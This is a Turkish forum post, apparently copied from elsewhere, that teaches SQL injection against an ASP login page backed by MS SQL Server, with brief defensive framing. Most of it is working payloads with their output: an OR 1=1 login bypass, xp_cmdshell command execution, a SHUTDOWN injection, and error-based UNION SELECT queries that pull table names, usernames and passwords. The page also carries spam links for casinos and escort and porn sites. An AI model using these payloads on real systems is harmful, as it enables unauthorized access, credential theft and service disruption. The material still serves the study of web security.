Forum Aski - Türkiye'nin En Eğlenceli Forumu
 

Go Back   Forum Aski - Türkiye'nin En Eğlenceli Forumu > Teknoloji Dünyası > Bilgisayar - Donanım
Kayıt ol Yardım Kimler Online Bugünki Mesajlar Arama

canlı casino siteleri canlı casino siteleri sagedatasecurity.com casino siteleri takipçi satın al
porno diyarbakır escort bayan antalya escort malatya escort

SQL Açıkları

Bilgisayar - Donanım kategorisinde açılmış olan SQL Açıkları konusu , ...


Yeni Konu aç  Cevapla
 
LinkBack Seçenekler Arama Stil
Alt 02.08.2013, 15:15   #1 (permalink)
Süper Üye

Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
Standart SQL Açıkları

SQL Açıkları

Dünyanın her tarafında kullanıcılarına; kredi kartı numaraları kullanıcı bilgileri gibi gizli kalması gereken bilgilerin ürünlere ve siparişlere ait verilerin saklandığı uç-arka veri depolarıyla hizmet veren web siteleri bulunmaktadır. Ve genel olarak web sitelerindeki form aracılığı ile alınan girdi ile veritabanındaki bilgiler filtrelendikten sonra sonucu kullanıcıya gönderen bu tür sistemlerde Yapısal Sorgulama Dili (Structured Query Language - SQL) kullanılmaktadır. Uygulama içerisinde kullanılacak parametre değerleri alınırken kullanılan formun SQL Deyimini yeniden yapılandırabilecek bazı özel karakterlere izin vermesiyle güvenlik problemleri ortaya çıkmaktadır.

Bu güvenlik problemleri kullanılarak bir uygulamanın arkasında bu uygulamaya destek veren veri tabanı üzerindeki bütün bilgilere ulaşılabilir veya bilgiler üzerinde değişiklik yapılabilir. Veya veri tabanı sisteminin komutları kullanılarak kullanılan sunucular üzerinde uygulama harici istenen işlemler de yapılabilir. Bu problemlerden korunmak için de uygulama girdilerini bu tür karakterlere karşı kontrol eden fonksiyonların kullanılmalı ve geniş çaplı uygulamaların bu güvenlik açıklarını taşıyıp taşımadığını anlamak için güvenlik denetimine tabi tutulmalıdır
İlgilendiren Sektör ve Şirketler:
• Özel olarak geliştirilmiş uygulamalar kullanan tüm kurum ve kuruluşlar
• Internet / Intranet üzerinde uygulama geliştiren kuruluşlar

1. Bir Uygulama Güvenliği Problemi - "Yapısal Sorgulama Dili Kullanımı"
Yapısal Sorgulama Dili SQL'in uygulamalarda kullanımına örnek vermek gerekirse;

SELECT Name Address FROM Users WHERE UserID = '2081'

Şeklindeki SQL Deyimi "Users" adlı tablodan "2081" ürün ID si ile veritabanına kayıtlı olan kişiye ait olan isim ve adres bilgilerini dönecektir. Bu noktada muhtemel zayıflık kullanılan formun SQL Deyimini yeniden yapılandırabilecek bazı özel karakterlere izin vermesiyle ortaya çıkmaktadır. Çözümü ise girdilerden bu özel karakterlerin filtrelenmesini sağlayan fonksiyonlardır.

Hızla gelişen internet teknolojileri karşısında yeni pazarda geç olmadan yerini almak isteyen müşterilerine daha kısa sürede daha kullanışlı ve ucuz çözümler sunmak zorunda olan uygulama geliştiriciler bu süreçte güvenlik gibi önemli bir faktörü ikinci plana atmaktadırlar.

Giderek yaygınlaşan ve medyanın haber potansiyelini oluşturan; çalınan kredi kartı numaraları yer altı sitelerde dağıtılan müşteri bilgileri şirket projeleri - yazışmaları yaklaşan tehlikenin habercisi olmakla beraber halen bu tür kayıpların yaratabileceği maddi sonuçları kavrayamayan ve hala "az maliyetle kurtarılan güvenlik projeleri" 'yle övünen yöneticilere uyarı niteliği taşımaktadır. Öyleki -herzaman bir adım önde olmayı amaçlayan- saldırganlar güvenliğin en üst seviyede olması beklenen devlet siteleri de dahil olmak üzere pek çok sisteme yönelik saldırılarına da ara vermeksizin devam etmektedirler.

Maddi ve manevi değere sahip şirketinizi bir anlamda iş ortaklarını olan uygulama geliştiricilerin hazırladıkları uygulama ürünlerine emanet edildiğini düşünürsek "uygulamalarınıza ne kadar güvenirsiniz?" gibi bir soruya verilecek cevap büyük önem taşımaktadır.

Böyle bir ortamda uygun güvenlik çözümü için ayrılmış bütçe bir lüks değil her an yapılabilecek bir saldırıda şirketin uğrayacağı zararı ortadan kaldırmak için alınması gereken önlem niteliği taşımaktadır.
2. Örnek Saldırılar - "Yapılacak Hamleleri Önceden Tahmin Edebilmek."
Güvenlikte sıkça kullanılan bir deyim; "Saldırganlardan korunabilmek için onlar gibi düşünmelisiniz!". Saldırganın sisteminize girmek için kullanabileceği yöntemleri bilmek bu saldırılardan korunabilmek için alınan önlemleri daha sağlıklı kılacaktır.


Örneklerde kullanacağımız hedef ; Microsoft® Internet Information Server™' dan Microsoft® SQL Server™'a varsayılan sistem hesabı'ndan (sa) bağlanan ASP tabanlı bir kullanıcı hesabı yöneticisi olacak.
Form.asp : Username ve Password girdisini alan form.Solda.
Login.asp : Veritabanı ile bağlantıya geçen ve girdinin doğruluğunu kontrol eden ASP kodu.

2.1. Kötü Amaçlı (') İmleçleri Yardımıyla İzinsiz Giriş Sağlama:

Kullanıcı "Username" & "Password" verisini Login.asp ye yolladıktan sonra .asp kodunun yapacağı iş verilen yoldaki veritabanı ile bağlantı kurup ilgili tabloda Username ve Password sütünlarında gönderilen verinin doğruluğunu kontrol etmek olacaktır. Bu işlem sonucunda eğer sonuç olumluysa kullanıcıya; "Giriş Yapıldı" olumsuzsa; "Geçersiz Kullanıcıadı & Şifre" mesajı verilecektir.
Örnekleyecek olursak;

Username : ilkay
Password : 2081

Şeklindeki kullanıcı girdisi aşağıdaki SQL Deyimini oluşturacaktır;

SELECT count(*) FROM Users WHERE Username = 'ilkay' AND Password = '2081'

İlk bakışta sorun olmayan bir SQL Deyimi. Fakat saldırganın;

Username : ilkay
Password : ' OR 1=1--

Şeklindeki girdilerle oluşturacağı SQL Deyimi ise;

SELECT count(*) FROM Users WHERE Username = 'ilkay' AND Password = '' OR 1=1 --'

Olacaktır ki bu durumda girişin sağlanması için şart "ilkay" kullanıcı adına ait şifrenin hiçbirşey* olması veya ikinci bir opsiyon olarak 1=1 eşitliğinin sağlanmasıdır.

* Hiçbişey = Boşluk

Sonuç : 1=1 eşitliği sağlandığına göre saldırı başarıyla sonuçlanacak ve "Giriş Yapıldı" mesajı verilecektir.

Not : Microsoft® SQL Server™ "--" imlecinden sonra gelen yersiz kullanılmış tırnak işaretlerini göz ardı edecektir. İlk bakışta basit gibi görünen ve sadece SQL Server'a ait olan bu özellik ilerde örneklerden de anlaşılacağı üzere saldırgana büyük kolaylık sağlayacaktır

2.2. Uzaktan Çalıştırılması Mümkün Olan Prosedürler:

MS SQL Server'a varsayılan sistem hesabından yaptığımız bağlantı SQL Enjeksiyon saldırısında muhtemel saldırgana sunucuda saklanan prosedürleri çalıştırabilmesi için gerekli hakları tanıyacaktır. Saldırganın kullanabileceği prosedürlerden bir tanesi; "masterxp_cmdshell" olabilir.

Username : ilkay
Password : '; EXEC masterxp_cmdshell 'dir c:'--

Girdileriyle oluşacak SQL Deyimi;

SELECT count(*) FROM Users WHERE Username = 'ilkay' AND Password = ''; EXEC masterxp_cmdshell 'dir c:'--'

Sonuç : SQL Server Kullanıcıadı ve Şifreyi bulunduran sütunları arayacaktır bulamadığı için "Yanlış Kullanıcıadı & Şifre" mesajını verecektir fakat bu arada arka planda "dir c:" komutunu çalıştıracak ve saldırgan C sürücüsünün içeriğine ulaşacaktır.
2.3. SQL Server Hedef Alınarak Yapılan Saldırılar:

Yönetici haklarına sahip saldırgan silmeeklemedeğiştirme.vb gibi komutları rahatlıkla çalıştırabilecektir.

SHUTDOWN WITH NOWAIT SQL Server'ın kritik komutlarından bir tanesidir. Komutla beraber SQL Server görevine son verir.

Username : '; SHUTDOWN WITH NOWAIT--
Password : [Boş]

Bu girdilerle oluşturulan SQL Deyimi;

SELECT Username FROM Users WHERE Username=''; SHUTDOWN WITH NOWAIT; --' AND Password=''

Sonuç : SQL Server kullanıcıadının bulunamadığı mesajını verecektir. Fakat bununla beraber arka planda diğer komutu çalıştırdığı için SQL Server kapanacaktır.
2.4. ODBC Hatalarından Faydalanarak Yapılan Saldırılar:

SQL Server'ın verdiği hatalardan faydalanarak veritabanındaki neredeyse tüm bilgilere ulaşmak mümkündür.

Hedef;
ş
eklinde ürün ID leri ile çalışan ASP tabanlı bir websitesi.
Saldırı SQL Server'ın integer ve string cinsinden verileri birlikte gönderememesinden faydalınarak yapılabilir;

Gönderilen '10' sayısına veritabanından herhangi bir string eklenir.


config.asp

Not: "INFORMATION_SCHEMA.TABLES" sistem tablosu sistemde bulunan diğer tüm tablolar hakkında bilgi içerir. Deyimde kullanılan "TABLE_NAME" de yine tüm tablo isimlerini içerir.

Oluşacak SQL Deyimi;

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

String -> Integer dönüşümünü yapamayan SQL Server aşağıdaki hatayı verecektir.

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Table1' to a column of data type int.
/Default.asp line 5




Hata saldırgana "Table1" olarak bulduğu cevabı integer a çeviremediğini (dolayısıyla veritabanındaki ilk tablo adının "Table1" olduğunu) belirtmektedir. Saldırgan diğer tabloların adını aşağıdaki şekilde öğrenebilir.


UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('Table1')--

Veya doğrudan LIKE komutunu kullanarak aradığı şeye daha kolay yoldan ulaşabilir;

UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25Login%25'--

SQL Server'ın vereceği hata;

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Admin_Login' to a column of data type int.
/Default.asp line 5

Admin_Login adında bir tablo olduğunu öğrenen saldırgan muhtemelen tablodaki ilk kullanıcıadı ve şifreye ulaşmak isteyecektir. İzleyebileceği yol ise;


UNION SELECT TOP 1 Username FROM Admin_Login--

Hata;

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'ilkay' to a column of data type int.
/Default.asp line 5

Bu şekilde "admin" kullanıcıadının varlığını doğrulayan saldırganın şifreyi ele geçirmek için kullanacağı girdi;


UNION SELECT TOP 1 Password FROM Admin_Login WHERE Username='ilkay'--

Hata;

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '2081' to a column of data type int.
/Default.asp line 5

Sonuç :
Username : ilkay
Password : 2081


alıntıdır

Perii isimli Üye şimdilik offline konumundadır Alıntı ile Cevapla
Cevapla

Yukarı'daki Konuyu Aşağıdaki Sosyal Ağlarda Paylaşabilirsiniz.


Yetkileriniz
Konu Açma Yetkiniz Yok
Cevap Yazma Yetkiniz Yok
Eklenti Yükleme Yetkiniz Yok
Mesajınızı Değiştirme Yetkiniz Yok

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodu Kapalı
Trackbacks are Kapalı
Pingbacks are Açık
Refbacks are Açık


Forum hakkında Kullanılan sistem hakkında
Forumaski paylaşım sitesidir.Bu nedenle yazılı, görsel ve diğer materyaller sitemize kayıtlı üyelerimiz tarafından kontrol edilmeksizin eklenmektedir.Bu nedenden ötürü doğabilecek yasal sorumluluklar yazan kullanıcılara aittir.Sitemiz hak sahiplerinin şikayetleri doğrultusunda yazılı, görsel ve diğer materyalleri 48 saat içerisinde sitemizden kaldırmaktadır. Bildirimlerinizi bu linkten bize yapabilirsiniz.

Telif Hakları vBulletin® Copyright ©2000 - 2016, ve Jelsoft Enterprises Ltd.'e Aittir.
SEO by vBSEO 3.6.0 PL2 ©2011, Crawlability, Inc.
yetişkin sohbet chatkamerali.net

Saat: 12:37